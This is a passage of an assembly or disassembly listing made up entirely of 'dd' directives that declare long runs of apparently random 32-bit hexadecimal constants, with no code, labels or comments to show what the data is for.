		dd 0B564D07Fh, 410771E2h, 7E79BC32h, 67643728h,	98FC190Ah
		dd 9CF13079h, 43E9F088h, 0C3E4A169h, 3130BADFh,	66292CB0h
		dd 0EE981D98h, 6A550F08h, 1B09A917h, 75DEE3FEh,	405F39Dh
		dd 0FF610122h, 0C59AEB46h, 0BA79CC79h, 97FBB5D4h, 47E65500h
		dd 0DA211788h, 0A5132A9h, 0EA4C550Ch, 0AFD797F6h, 87D0CFC1h
		dd 4BB5D149h, 0EE49F28Bh, 97D3C2B6h, 24233802h,	16407946h
		dd 67147A9Ah, 0AC18CA04h, 8FF223DFh, 0BCFC0336h, 7E84A260h
		dd 3285D22h, 0C7E80A50h, 789F42A0h, 0FAD79212h,	347A6DC6h
		dd 1F8C49E0h, 2447A6Fh,	8AF169E6h, 8BB182DCh, 6414566Eh
		dd 746DD3A4h, 96FE2250h, 4BF61701h, 750F6DBDh, 0A7F8B4BEh
		dd 6278FED2h, 0ACF198E5h, 5749E123h, 0BEAC4615h, 9C82644h
		dd 0DB8CCF27h, 47FF3FF8h, 9A9ED315h, 59FEEE8Eh,	0FCECCFB4h
		dd 0B545314h, 0F42815FFh, 0F7ADE903h, 0DC114052h, 59CE4A56h
		dd 644B4C03h, 950550B7h, 2964ACC7h, 0E414C115h,	3E6DD987h
		dd 0A2150048h, 5E733F85h, 0BDA64A75h, 0AD422179h, 94A89A08h
		dd 0BABC642h, 0C399AA8h, 0E2DA2EFCh, 526AD209h,	0C9A78C49h
		dd 0CCD0D41Fh, 9B563ED6h, 6E9E60D7h, 77B3CD0Ch,	0FD141FD6h
		dd 53846FE2h, 2AFA8543h, 0CDA8C4E2h, 8BFD900Eh,	380E0991h
		dd 865B6EA9h, 853AB180h, 33D26EF5h, 0FD56D102h,	11F6F96Dh
		dd 26F6C225h, 29AC3ED2h, 7CC7EEEEh, 7F04B7FAh, 0AF6AB6FEh
		dd 89989E78h, 33243A59h, 0DEED54C1h, 40F60285h,	0B18281D1h
		dd 0C68DFF19h, 3CCF5F1h, 2F6932FFh, 0C49B0E10h,	2BBEA8ECh
		dd 0A555291Fh, 3A9CA181h, 0E61CD7AFh, 0C00FDBB7h, 0FEEED7FDh
		dd 828A77F9h, 6CE1D0D1h, 7C2FF93Ch, 5ED7664Dh, 0C9AD6DD0h
		dd 5FD34E58h, 6BD81EF2h, 0D24A7D25h, 96011FECh,	4CDD1FE1h
		dd 0AAF0036Ah, 7B4BC692h, 7900EC1Eh, 0DF824205h, 82DB604Eh
		dd 0F3E62D33h, 0C7A2E5CFh, 522CFAB9h, 572BF648h, 0EDAA5E6h
		dd 0B839755Dh, 2EB7D332h, 0A39824D9h, 5BE0C26Eh, 97250132h
		dd 4BA00B16h, 0E4E7CEB4h, 7CC8BD39h, 32F1BC36h,	37F0D377h
		dd 0A312116h, 3D72B54Fh, 4329AE72h, 95C2AABAh, 0A0F4E52h
		dd 0FAC43C77h, 0CFCA2D05h, 70518D99h, 96567A8h,	0EB924D57h
		dd 4CAFA070h, 173CC005h, 76462BDBh, 9B5B4978h, 9614E4BBh
		dd 9556F24Bh, 0B962D6EAh, 0A8EBF91Fh, 53F0692Ch, 88A788CAh
		dd 0ACE3AFCBh, 73E31C74h, 7E7C5A64h, 0E1B2D44Ch, 741AFE9Ch
		dd 0EAA8BAA9h, 0EA4CE774h, 4F17D17Dh, 0F35E1E3Dh, 0FB5BF2F5h
		dd 0E5F5B4D1h, 0A032A37Ch, 0D2E064BEh, 0A3F2F70Eh, 2A0A1E9Ah
		dd 98314152h, 82EF2257h, 0AB9EC7C8h, 8F7F2ACEh,	72CA9068h
		dd 9DCD20Dh, 0AC40B980h, 0BEE81130h, 6AA3654h, 8055DD7Ah
		dd 0AC6D43DBh, 40A9C35Bh, 0B460FD57h, 1AE9833Fh, 43F4E681h
		dd 85BF992h, 0AF38DBABh, 15E8E6D2h, 6FB2602Dh, 3FE1E760h
		dd 38FC928Fh, 3AF6CC6Ah, 0BF119F30h, 62D3550Bh,	78A94B59h
		dd 3354C0F5h, 0CE297DC8h, 0DE0075B4h, 651ABFA8h, 1D3B914Fh
		dd 0BB371D91h, 626E8589h, 9449529Bh, 199D5CF3h,	69BE9F67h
		dd 0E67DA47Dh, 0E291330Bh, 0C2F21C1Bh, 5CC79F2Fh, 0E8847C52h
		dd 0EEEE11EBh, 5F59742Fh, 13A82F7Eh, 0B64F1217h, 0D49F5637h
		dd 95D2C8A2h, 0F9C0CEFDh, 0CD09B82Eh, 0E82E3D88h, 0C4E86F8Ah
		dd 0B609057Bh, 0C6DE81D9h, 0E393FB67h, 0FAB72CA1h, 0A965E62Ch
		dd 305E6DBh, 54355831h,	0D7808F6Ah, 296657BFh, 2D3D4685h
		dd 71CE3354h, 0E7AD127Bh, 0AFFFAEF0h, 0D1339C3Dh, 643D77E3h
		dd 22AA73C6h, 0BCD6430Dh, 0F080DA20h, 59161261h, 17191ABEh
		dd 0A229A465h, 9C18D36h, 0FA7937B1h, 81D617A5h,	7560B5F3h
		dd 0D67B7FBDh, 485902D9h, 57184072h, 0D6891EBEh, 0D66205FBh
		dd 5315045Dh, 4F42AD01h, 6123D5E8h, 5A8AC34Ah, 3F6FD3EEh
		dd 0C9FD613Ch, 7B73B288h, 8DFA4F7Ch, 0EBAB4521h, 0FDF68018h
		dd 87B4382Ch, 0B642265Bh, 0F00081ABh, 235C71BBh, 0AC1A2A0Fh
		dd 75C27DFh, 6AF8A58h, 51A919EBh, 0ED9DAAD6h, 6BD7DD58h
		dd 0E345D46Fh, 529FD0FEh, 0D12C6BE6h, 4DDB2F2h,	4F927A89h
		dd 8CDE5F40h, 0A0C39B58h, 0B4A8DBF9h, 0C491AD32h, 0E11743F0h
		dd 33716C3Fh, 0E81218CEh, 0EAE656Dh, 7E821D18h,	37E07088h
		dd 97394035h, 0E575395Eh, 3EAE4702h, 6A4B0268h,	0FE514AF9h
		dd 0F7A30B73h, 59A50C72h, 0A31D6E7Ah, 8C1C3DA1h, 0EF406DFDh
		dd 0AC2844C4h, 0A6D7718h, 7E28644Fh, 894D4F81h,	810D5770h
		dd 95169DE2h, 8C1ABFCCh, 0B50177E8h, 942F97AEh,	0F0505D4Ch
		dd 77D2D25Bh, 8DAF16C4h, 9F1225B3h, 28D41170h, 0A24E2796h
		dd 0FD4CDC48h, 291F2A31h, 9CD7E1DCh, 623AEF97h,	0B58C143Dh
		dd 49B1CBF4h, 5BA9DC6Ah, 0AF16E39Fh, 9192F8BFh,	91112135h
		dd 0D87C5A32h, 0F871E8FBh, 0D85A2B87h, 7FE3ADB9h, 3E09A354h
		dd 0A9792B98h, 0A2DC96E5h, 575330BDh, 0B4D38DD0h, 46AA6246h
		dd 81652AC9h, 0B3135C54h, 0EF32A81Dh, 0F909AB08h, 1DDCAC1Bh
		dd 0BD5D50A3h, 4A8BB64Bh, 5AEB946Fh, 86609145h,	0B53F589Ch
		dd 3FF94FAAh, 0D43C3EEBh, 0DCC7332Fh, 0A02D3872h, 15D2AC58h
		dd 0E68D2C86h, 481A344Ch, 0DD384B30h, 0ACC8DEBCh, 0E6043E2Fh
		dd 0DE57360h, 0CDBBA80Ch, 83C380Bh, 71BE1774h, 0D9CDAF5Fh
		dd 92297D8Ch, 5C1685B4h, 0E002855Ch, 0B5E6C9FDh, 499B2819h
		dd 7A78DE95h, 0CF486068h, 3A350F58h, 8F69C08Dh,	0C0CA9D4Fh
		dd 3BEBBD47h, 75A24FFh,	0C304D6Bh, 0EC027358h, 0B9DC857Fh
		dd 7B89263Ah, 47149D5Ch, 0DBA26DC2h, 212EFDA2h,	63A348F5h
		dd 1C268342h, 6B567D43h, 0E486920h, 1C00834h, 6051C515h
		dd 74971A86h, 63EE89D4h
		dd 0D1EE948Bh, 0EA1C0BB4h, 5EA97BAEh, 67AE9DF6h, 16847DF0h
		dd 0C6B60591h, 142C766Ch, 0A207B2D4h, 22A657A2h, 872EA296h
		dd 0B2348F9Fh, 0CC02A1A8h, 0CB3E3F88h, 0A32B1899h, 6D0F57F5h
		dd 3452C545h, 9599F223h, 0B4FC3377h, 0B5E2DC89h, 3C939762h
		dd 0BF878FEEh, 9E9BA815h, 3FC6CC85h, 0DC26455Ah, 46233754h
		dd 0CBCBAD44h, 8B573452h, 40C64311h, 2C40F064h,	23A2F6B1h
		dd 33B69437h, 264A4FCFh, 5CD568ABh, 2702394Ch, 0E2B6534h
		dd 6B09D3FEh, 0E9696B7Bh, 0E21794E9h, 53F71B27h, 0D2CE56BFh
		dd 96ADD5D0h, 8300EC60h, 427B818Ch, 99B08AEBh, 0F8CB9B06h
		dd 9BF4A0ABh, 4FA99D78h, 0C5AA7AE6h, 4D9A573h, 269F4A87h
		dd 995E623Ah, 1A688EB6h, 0F0ADC84Fh, 0E2F9B100h, 0C378EEDEh
		dd 0C73AAD24h, 0D8A8D0EAh, 855FAFE9h, 84AC88DAh, 605DB676h
		dd 0D0761A91h, 29395CCh, 92027A26h, 0B3C83D54h,	201305Ch
		dd 0C8DF101Ch, 94CD7BF5h, 0AF81DFB4h, 20C82D9h,	0B1F399F9h
		dd 648BAA3Bh, 64009076h, 4C8C9BF3h, 9F239D8Dh, 164D3E87h
		dd 62DF7812h, 23EE46Fh,	3E5BC197h, 0B19B013Dh, 81DB4C11h
		dd 0FB3836CAh, 0DFF5CBD1h, 5B6BD2Ah, 1E9A163h, 0D9EF0A0Bh
		dd 74C7163Dh, 0F0B5DC17h, 0EE8CE184h, 0A07F5D7Bh, 721184E8h
		dd 463E367h, 6E16068h, 28429E8Bh, 0A4043ABBh, 0CA40ECE6h
		dd 1219E5D1h, 73873487h, 0AC793E73h, 255049CCh,	780A2D81h
		dd 651A45A0h, 0C2A40A2Eh, 17FFB02Ch, 6E866C5Dh,	9478025Dh
		dd 0CF1F4301h, 2B7005D8h, 0E8F70A1Ah, 54242538h, 92B182AEh
		dd 0CFC06C9Fh, 0CD8D0446h, 50822B3h, 0F95D5276h, 7A395C8Bh
		dd 3F6C5960h, 4F792B0h,	79FEEEEEh, 60376994h, 9F0D7325h
		dd 0E20EC12Eh, 152FF939h, 5DDDAD7h, 1A3CDE95h, 6A31A046h
		dd 5DF39E25h, 365EFF9Dh, 77C24909h, 88FAD723h, 10D7DF7Dh
		dd 2B8A0E28h, 0B1C7CDCDh, 0A3B5EC60h, 5124EFEBh, 38558A26h
		dd 1DAFDF0Eh, 658E8712h, 8738AB7Ch, 291338EFh, 78C75B3Eh
		dd 46C44ABEh, 0B984B358h, 6EBC6CDCh, 6C5FF9C5h,	0DFE7638Ah
		dd 19495361h, 3525FFE0h, 9B25E05h, 0A10720F0h, 0BF87E3B1h
		dd 0F7A955E6h, 0F6424869h, 51C41906h, 33229B0Eh, 0A2992F02h
		dd 1FBDAEE9h, 0CB957315h, 7AA419C5h, 5BDE1C42h,	0D82D89E0h
		dd 841B5D8Ch, 0EED8AFD3h, 77043848h, 675310EBh,	45C8358Ch
		dd 8BE9EC99h, 72655FC3h, 0F0491811h, 1FEFDAE1h,	253741F2h
		dd 2D7EE57h, 78A64535h,	5DE52F46h, 840DBF8Dh, 6A780FD1h
		dd 8ED4B0F8h, 0BCF0B43Fh, 0B0135562h, 0E1C6C2C2h, 7F41279Eh
		dd 0B94F583Bh, 0E43AEC07h, 6BAB5FBCh, 1B5C2C72h, 4A6498E8h
		dd 0B6D7B3F7h, 615C7200h, 88AE50D1h, 0BAB40FFEh, 4D88F957h
		dd 0C67909D3h, 8C18ABF7h, 16ADF009h, 8AE14891h,	126FFDF8h
		dd 65EF3467h, 8044994Dh, 0F1B81464h, 315609EAh,	935B972Ch
		dd 295BB6F3h, 9614DE5Ch, 0F906B21Ch, 0B5CB3570h, 0B80FAFE6h
		dd 62896D18h, 0DBC3657Dh, 9B8361A7h, 66581400h,	0AE0F0DD9h
		dd 0D46B6D20h, 64E7E523h, 853FA8F6h, 5E2B8FFh, 0C3E8FFEAh
		dd 403D7274h, 9883A0D2h, 9C81739Eh, 6DC6B740h, 0FE78FB6Eh
		dd 667DCEDCh, 8B28877Dh, 3BF7B40Ah, 4A844CD9h, 0D8C4E02Fh
		dd 0C2CDA286h, 86AD26Bh, 6F813EDCh, 7AC88065h, 74639FB5h
		dd 516C33A4h, 0C6B5B58Ch, 0B0EA22D0h, 0C4ABD7F8h, 0E50840CCh
		dd 91B8A73Dh, 4ED42175h, 8610C266h, 0D9AA954Eh,	552B3B0Fh
		dd 0BC6A0885h, 0C68B2581h, 1C347E19h, 386C4027h, 0B14CE2B9h
		dd 951C4CB5h, 0D558E227h, 2691C4E5h, 0DF9F03DDh, 39E452DCh
		dd 3D6A5DBAh, 2DFC3C8Ch, 0D58521E2h, 3D62B57Ch,	7CF24257h
		dd 0D777D3CDh, 9BEE2337h, 19219D64h, 0BC54F38Ah, 0DBE63FEEh
		dd 97BB64CCh, 7AE623FEh, 36D72476h, 0DDC9B413h,	7B917811h
		dd 31349446h, 0B4B02B21h, 9A0AD574h, 4770737Bh,	0E5E4D4A0h
		dd 4D052910h, 327646B2h, 87291FC4h, 0A801B098h,	18C61AC2h
		dd 2C78A521h, 6589AC56h, 20DCE59Dh, 0C7088C3Dh,	44905C34h
		dd 0B2A7C9ACh, 2A8DC386h, 9A980E6Eh, 92586393h,	97AD37C1h
		dd 0CA0D5A5Ah, 0AECDB25Bh, 0A287789Fh, 0B72D919Ch, 0ED9E24E3h
		dd 0BF516E6Bh, 9AA44E8h, 0A8A8F896h, 92CEE3DEh,	14A6B719h
		dd 0EC6F55F8h, 8264457Dh, 0DDAF88E6h, 0EDE477A0h, 3CAB5C9Ah
		dd 62F77133h, 0BF060657h, 9E8C7CC0h, 0EB754FC6h, 0F27587CDh
		dd 3CEBDA76h, 1E638EA4h, 3444AA69h, 89F3F47Ah, 0E88F4D2Fh
		dd 396A0FC9h, 0CFF431BBh, 65B32F2Bh, 0B856BDBDh, 97C337D3h
		dd 2ABE9816h, 59CDB0E6h, 0F7453253h, 0E5712FE1h, 448B1899h
		dd 0F4F33211h, 8A07B7D4h, 0C1A135Ch, 0AAB34232h, 0F7831525h
		dd 7C7DDFC1h, 7232F88h,	0D406D677h, 0A1C2A7E7h,	8B67F58Dh
		dd 0EA4A4661h, 722F9E67h, 0CA9F2B3Eh, 5E64276Ch, 2FED0511h
		dd 979A8FC3h, 50E35654h, 9A927515h, 0DFAAFCF8h,	7719C71Dh
		dd 0C05C7045h, 1F307193h, 37BD49B4h, 0DF98268Ch, 20B7A77h
		dd 0E5F9D7CDh, 0D53C0624h, 27FE8631h, 26F3CC1Eh, 0BA0E9B4Eh
		dd 5B21F92Dh, 273C1F5Eh, 82FFC3C9h, 0AA08BCEAh,	37111DFAh
		dd 0CFE5F3CAh, 3CBEB7A3h, 70AB5F41h, 0D2DB088h,	354D9744h
		dd 6D1EF850h, 193BC32Ah, 21C20D49h, 25564D87h, 0AF572B3Ah
		dd 0E8487703h, 35749E62h, 448CC7BFh, 0FC091F19h, 2B79F2F8h
		dd 0E692D44Fh, 304D3CFAh, 82A15C8Ch, 34D858BFh,	0C3056E45h
		dd 7324D538h, 0BA77E826h, 4F6470E8h, 410D65DCh,	9A5307CEh
		dd 0F6AF9855h, 1A0C62E0h, 2994D127h, 461E7457h,	66FEC75Bh
		dd 0CAE783A3h, 4250664Fh, 4E75D77Bh, 7C34AA0Dh,	35E143CDh
		dd 0A597DF29h, 0FA3B2E7Dh, 0B5CAAF83h, 32777261h, 193E41CCh
		dd 57C33B21h, 0FD709FDh, 0ABA3BFAFh, 0FB01F8C3h, 8B04561Ch
		dd 0DA9D6401h, 1CCDA539h, 0DBA55A2Eh, 82F6ECE0h, 0BC426F99h
		dd 0D760ED9Eh, 97799FFDh, 0CA2D1EC0h, 0AE0E50D0h, 65DB417h
		dd 81DC4DC7h, 162BA2BCh, 8297B543h, 577DD702h, 696F55FFh
		dd 0C17F2871h, 0ABA9C7A5h, 24C277D8h, 0B5476D92h, 0DF81BEDEh
		dd 4D415307h, 6978DDD1h, 63EAEE1h, 0A79677Ch, 0D2B5CDBDh
		dd 4EF2E40Dh, 11F674AAh, 0E3618829h, 0ABE5786Eh, 24B75ABh
		dd 0D676678Fh, 6EC4EC14h, 0B2CFB337h, 0ED4E4E05h, 442BFB8Bh
		dd 8CA43B53h, 365A9793h, 842F38D6h, 9A9D06B2h, 0C21CC29Ch
		dd 1ACCE213h, 7C730D5h,	7C947311h, 59D60F0Dh, 0C92F266Ch
		dd 26FE923Eh, 41744CF2h, 2F91940Eh, 0E54EA0A8h,	92D654Fh
		dd 379CC438h, 0D2703609h, 503396B5h, 34A7AC4Ah,	834187B6h
		dd 17ABF0D8h, 0BE15DFDAh, 0B84EFE07h, 0FCB5E15Dh, 39527C9h
		dd 8A596E27h, 0B9F2DA65h, 3A3502FBh, 637A5EFDh,	15952920h
		dd 8803E380h, 0D20ECDF3h, 3D81E990h, 7E938F3Fh,	266C19E8h
		dd 8C79F359h, 0EFA27241h, 0EA0EF5C0h, 15D53506h, 0E6A669A3h
		dd 251F6456h, 0AC99F7BAh, 0C8559BB4h, 54207F5Ah, 56DD1A85h
		dd 0C91AD5DCh, 1489307Ah, 6150FF6Ah, 6F80A566h,	47F53D06h
		dd 0B00D0602h, 0A8FB63D9h, 76E1B8A1h, 7A61A5B3h, 0DBFB4235h
		dd 75ADC3C5h, 6E2B76Fh,	3B63803Fh, 4CA049C6h, 8A8EA3DDh
		dd 2FB75EA8h, 1C8D6AA2h, 0A152609Fh, 0E70958E6h, 0D41D7C4Ch
		dd 7111A05Bh, 71AE191Fh, 9FDE528h, 1BF35360h, 889E8305h
		dd 0D76C1A76h, 53DCB0D3h, 6EB4AB5Ah, 2DFD2371h,	641AC23Fh
		dd 894597B5h, 58C8B577h
		dd 0B39F4C12h, 33BE241Dh, 2B1C4EDh, 0E8BBFAFFh,	0E39DD41Ah
		dd 93021151h, 0FC5342Fh, 12F8EA81h, 0E47ABDA1h,	2E15682Fh
		dd 0B1AE465Bh, 7D013DA9h, 29E57355h, 2E7EF293h,	8BA8684Ah
		dd 0A85C2127h, 67061A1Eh, 0C252AD52h, 4F2894E6h, 0FEFF2098h
		dd 529138E2h, 0FB98001Dh, 14AAF4D7h, 3A225B82h,	0CD401942h
		dd 8CD1E7C8h, 55595CD8h, 711EC021h, 0C35651Ch, 6E981EEh
		dd 0F76220EAh, 0C867B3F9h, 62684DE0h, 99C79C0Eh, 0A840CE57h
		dd 97EEB9E7h, 49796CEAh, 509E0F0Dh, 0C1088411h,	893444C4h
		dd 0A805E9B9h, 61A5754Fh, 344B128Ch, 0C3D4E72Fh, 0D7600699h
		dd 57E4157Ah, 657C474Dh, 2827B664h, 0A3637F24h,	0FE682783h
		dd 0C0E2BEF2h, 8E472B1Eh, 0D01930F5h, 16A10D28h, 0C85A5BFDh
		dd 6D701502h, 7F2E0770h, 63A9D2D2h, 95E55C87h, 96485386h
		dd 0F3C80118h, 0B4EAF204h, 4AB5D8B8h, 0C41AD21Ah, 0DCEB8C61h
		dd 8A6BBC65h, 781300A1h, 54639106h, 82EA1BF9h, 3EDF7DDDh
		dd 0E03E3F8Ah, 6F04A116h, 6CF9ACB1h, 4780B8A6h,	95D20EDFh
		dd 666B5A58h, 54393E09h, 0E02D2B4Fh, 0CBDDF259h, 57E70766h
		dd 0A6A55F67h, 4F98AF60h, 0DE805711h, 0D308836Eh, 9529C4BCh
		dd 0D30A2928h, 0ACC3481Ch, 6E35175Bh, 658C8538h, 108DBCFBh
		dd 0B7CF9B03h, 921E3517h, 2B6A8541h, 47E88CD4h,	175FCA4Eh
		dd 566D2C08h, 624F290Ch, 6AC8608Bh, 492EBFFDh, 15F961Ah
		dd 54E46AB6h, 0A6BF0D63h, 42485555h, 3FE84558h,	4C41EC14h
		dd 8F4DB48h, 0D4AEA267h, 0C424B9D5h, 7D0EFAB5h,	7C964529h
		dd 0E830EABEh, 1D0D7470h, 3A4D6DD6h, 0BDDE744Fh, 0F2380759h
		dd 4007BD6Ah, 5E5082A4h, 0DEE27F2Fh, 0FCA0842Ch, 7A206C73h
		dd 0F59EC8B0h, 0C580D62Ch, 2C4BCE29h, 9E58D596h, 76A49BCh
		dd 0BB8ACCB9h, 0A7BEABCh, 0D8DCD966h, 3E891D9Fh, 6FB8AF2Eh
		dd 2B847622h, 71AC959Dh, 0DFCCECD1h, 81F9F370h,	0E1D96D58h
		dd 42DF436Fh, 5D2B99ACh, 0E14E5112h, 32EE1DBCh,	44FBD43Dh
		dd 0F499A6D8h, 88F4198Fh, 0C7852842h, 42891053h, 0A703F760h
		dd 5B6BA343h, 0E1A123Eh, 0CEF6E191h, 0B9ED9C8Ch, 9A281377h
		dd 300044D7h, 2E1BB16Bh, 70C538CBh, 879ABD83h, 77684EA9h
		dd 678FC19Bh, 0B902944h, 70C9717Bh, 0E9D047D2h,	19BDE3BEh
		dd 0A670EC24h, 26CDE958h, 6BEDB147h, 91582C1Ah,	5D370156h
		dd 0BC21B44Fh, 891B750Ch, 8F059F57h, 0EA1D5D97h, 1E8EA385h
		dd 0EA8C33BAh, 8061F301h, 2C50C152h, 4E78704Dh,	1DDC4D5Ch
		dd 2787D744h, 55D1EDB3h, 0E6E36053h, 0AAD3C4E4h, 0E9AAA87Eh
		dd 0DB3D4BB9h, 5708518Ah, 911B12E9h, 6EA43539h,	0F7A6D80Ch
		dd 0C91DB074h, 0CA093F56h, 84808A1Ch, 90283B80h, 7C8CE9D8h
		dd 889D400Fh, 86587F09h, 7307EB3Eh, 3BF89865h, 0CC06528h
		dd 928A7981h, 1C1899C2h, 5B082618h, 0B87C4DEh, 0F52012B4h
		dd 8F00DC04h, 0D3C8FECAh, 49EF7C36h, 3DA7F551h,	0DA1FC0C0h
		dd 99C455EAh, 0FD7296ACh, 17287D9Eh, 6EBD3BBCh,	0C07D2A61h
		dd 9CA8CD19h, 0FBFF974Fh, 0F53CCFA8h, 85F8DDAh,	0E4809BEEh
		dd 0CD807123h, 978A860Ch, 0B0BE9C37h, 9EC68D6Eh, 69F4FE9Ch
		dd 0EB836CA8h, 0B5AE8493h, 1CBAF9A4h, 71096F6Ah, 2FA90CEh
		dd 37F0E238h, 0B2579044h, 330B9B6Ch, 0E620A568h, 7645D8FDh
		dd 5540C9FCh, 3681515Ah, 3B580DF0h, 0DDD589FDh,	0DBD9A7B8h
		dd 2E7F0823h, 0E45E61CEh, 3B61F77Fh, 0D6DA9B3Dh, 6463EB8Eh
		dd 3B91480Dh, 0B43E6C1Bh, 4A863C76h, 0B0D3241Fh, 413826AEh
		dd 0C54260BDh, 4B588292h, 0A00B490Eh, 0B6C43EC4h, 1198B397h
		dd 0C2DF8336h, 9496B6C4h, 0BB9A5184h, 234ED177h, 0A9323BE5h
		dd 7DFBEAACh, 0E0DE6C28h, 0C701378Dh, 4AC93E8Ch, 0A3CCBE12h
		dd 0E016E28h, 2D6A4349h, 6CB596C2h, 66DD3F47h, 99C24FB8h
		dd 14538D01h, 0A7CAB09Bh, 2DB4D2BBh, 0FAC4CAE3h, 0E6BBDE6Bh
		dd 3C4C4C1Ah, 8444639Bh, 0C5AD9436h, 0DA70FC93h, 94924F09h
		dd 577187F7h, 4563A0F0h, 857381CBh, 0C54C1F79h,	0F874789Fh
		dd 5A7B639Bh, 2A8F040Eh, 18C877F0h, 5E1F2436h, 0ECFEE108h
		dd 0E12810C4h, 616EAE55h, 0E27428DEh, 5F00A263h, 901F8683h
		dd 1EDAD774h, 0D17B5542h, 0CBA2BF32h, 47E90ABBh, 66BBD577h
		dd 0AA6DC3F1h, 675C5270h, 44928AC4h, 781122EBh,	0D9EE89C1h
		dd 57FB05F5h, 5AEB0ED4h, 0A7894A2Fh, 0B1845B0Ch, 6082179h
		dd 13BB8042h, 308309E6h, 8FE67881h, 5AC5CFEFh, 0DB4B0CC8h
		dd 35E1382Ch, 0C86EC9AEh, 235DA676h, 71BB0D5Ah,	2DF83867h
		dd 0BA3E90AAh, 3D05037Ch, 0B5E94CC9h, 96919FB3h, 0CB854230h
		dd 0E7121C03h, 9FE7BE4Dh, 1CB0C001h, 5EAD3523h,	0A8F2C064h
		dd 649B1F40h, 0DD5BCF3Bh, 0D1DC9756h, 0BD54D8C4h, 165102BFh
		dd 0BD46ACC6h, 0D9C52D80h, 0C7249C6Ah, 81926389h, 8BA8BFBAh
		dd 9AA7997Dh, 0A23B3BA2h, 0DACBCFF1h, 6B791E4Ch, 67B915EAh
		dd 0B705CE56h, 0DE000A03h, 0C410188h, 1A98F32Ch, 844C1B85h
		dd 0C7124E1Eh, 7DE64A7h, 0BA7BFF50h, 2EBF17BAh,	4F7A3BE5h
		dd 9817A354h, 79DC3AC5h, 78D37870h, 65A9A33h, 0F8F0BCDAh
		dd 0DE291107h, 98108D64h, 6D1F52F3h, 4B9FD44Dh,	0A8BB50AAh
		dd 59863A0Eh, 0D9B3FB20h, 9D44818Dh, 5E05D103h,	0D7C1FCEh
		dd 0B456F37Ah, 4FA86B03h, 0AB474461h, 85EC2F87h, 8CA09407h
		dd 710D0D46h, 0D024913Bh, 463A3A2Ah, 5C739A44h,	0E5F8C8Ah
		dd 0DCE59E47h, 2CE3E85Ch, 0CBB10B91h, 8E6B9AE4h, 4D5723F9h
		dd 3F5F7501h, 36A02D8Dh, 3D5212BEh, 65061C66h, 0E332FE9Eh
		dd 3439DA71h, 6ED1B2Bh,	332917F6h, 3785EB66h, 393A3A8Ch
		dd 0B81D194Bh, 0A817F91Eh, 63F8FE5Dh, 0A1445B6h, 0C32307C6h
		dd 497D8328h, 0E3C44D0h, 0C6B901DAh, 0A1DB5EB8h, 15886FBh
		dd 5723C9E0h, 0C3A7F8Dh, 7A72F5DDh, 85DD6D0h, 7BB71B6h
		dd 7E861FC5h, 29EAA9F9h, 0B49B27F3h, 0FF6BB2DEh, 0F4734E9Eh
		dd 8EEE2035h, 0CF97DE90h, 4A23ECCBh, 5FE0C503h,	0DE27C862h
		dd 0DEA36C3Fh, 1B6F9931h, 0F9C2E821h, 23E45732h, 0BD764A80h
		dd 855E3066h, 52FF48BBh, 0AC61A410h, 55B97A6Ah,	7D66DBF7h
		dd 0F4DC50CFh, 0D6590501h, 7787C9FAh, 692A3AE1h, 2D9B02D6h
		dd 601AA06Ah, 66033DCAh, 4C5BF53Fh, 0D0C5B0AEh,	6291FF1Ch
		dd 0C495A48Dh, 0F267C586h, 0AC909083h, 6837DCF7h, 84B7471Fh
		dd 37EF474Eh, 369738A0h, 9997BA4Ah, 0D2541375h,	0D3C781B3h
		dd 203C93C6h, 0BA156C66h, 0D97232B9h, 51D2D64Dh, 0D4461DDDh
		dd 990A95CDh, 0CC110178h, 0FFB9270Ch, 0F2198Bh,	23539487h
		dd 8C122508h, 4BA72CFCh, 7ED758F4h, 0B7EB5AE7h,	738C4DA2h
		dd 39CA62B7h, 0B5C4F97Dh, 0B2761BDEh, 7DB73CDEh, 19108A2Ah
		dd 371DE559h, 0F42A8C39h, 0BB6488A9h, 0F0F97913h, 0D1A47532h
		dd 0A5C5239Dh, 33BA73E8h, 850C0CB4h, 0DE9D1444h, 80B6CC1Dh
		dd 5CF070C9h, 0A35906Bh, 0B40691C6h, 3797FA22h,	5249B67Dh
		dd 0A34D6D5Bh, 53D5BDD2h, 16672214h, 895BACEh, 76AB0441h
		dd 1BB91151h, 0D53E921h, 25AD2872h, 80EB291Fh, 0FB334719h
		dd 93A84C5Eh, 8CAC5FBDh, 0F6F13EE1h, 5F5B2DBFh,	82E5877Dh
		dd 79A2EC84h, 0E42DDFA7h, 275F2EFAh, 6501BA9Ch,	0FAF33CAAh
		dd 0AC3C7944h, 93DF3567h, 0C0354EF6h, 0E292EC7Fh, 0D0AB5EBEh
		dd 0A2EF1E50h, 0DF48470Ch, 0F4347FAEh, 2816043Ch, 0B93B136Ch
		dd 0CF69CF27h, 2307C78Fh
		dd 0A1CF1857h, 0F20CAE0Bh, 0C9C62718h, 6A6C688Fh, 3863F85Dh
		dd 0D2DBF44h, 6A02FB31h, 222D62EBh, 0F797733Bh,	5CE74C23h
		dd 3D3FFEAh, 0DC01BFFAh, 0D9434A00h, 0BCCD7D2Ah, 2B77E066h
		dd 3DD5B558h, 656E2B42h, 0B7FECE41h, 8862C97Ah,	724373C3h
		dd 709E0E62h, 858314F0h, 2687D4D5h, 423E81F7h, 0F7F64070h
		dd 51916C8Dh, 0B1692EE2h, 0B0F41093h, 66E8554Fh, 8E5C752Eh
		dd 5F783B82h, 0E725CF23h, 1E2962Eh, 9C0BA343h, 0BC481232h
		dd 5B3E4CC4h, 0B4E8CE6Bh, 77AE8B36h, 0ADA2D788h, 93604246h
		dd 37074910h, 48B33824h, 412E4AD5h, 2231F556h, 2CF963h
		dd 9A093F3Ah, 0CC48F262h, 0FE957F94h, 0A38BE5D1h, 7E86FA89h
		dd 0A4C387D2h, 9E469109h, 0B650A49Ah, 0B41630DEh, 9F4D00EFh
		dd 3514A59Fh, 0F55C3D11h, 66C32888h, 36228368h,	0DA9CF11Bh
		dd 98384C98h, 378E403Dh, 0C85B03E7h, 0CC964631h, 8F67BA22h
		dd 3E98F53Fh, 7F97CED9h, 7615EC22h, 1C0637DDh, 0CDBDA965h
		dd 978552A7h, 99EF494Eh, 0DFFB0E13h, 426AC929h,	0BC3DB9CCh
		dd 4DAC188Fh, 81308BD7h, 84F0F765h, 0B0E7BD60h,	82FEFA84h
		dd 0D6DD9598h, 0AE4898C0h, 1938B9B4h, 0F09B7658h, 0A54B70Bh
		dd 1C3ABB28h, 5DB86D3h,	0FEF1EAC1h, 0D98BD5B5h,	6AEE59CAh
		dd 0E6908CD9h, 466F8184h, 0A0EBE0C9h, 0DE9D8FA0h, 0EAFFE713h
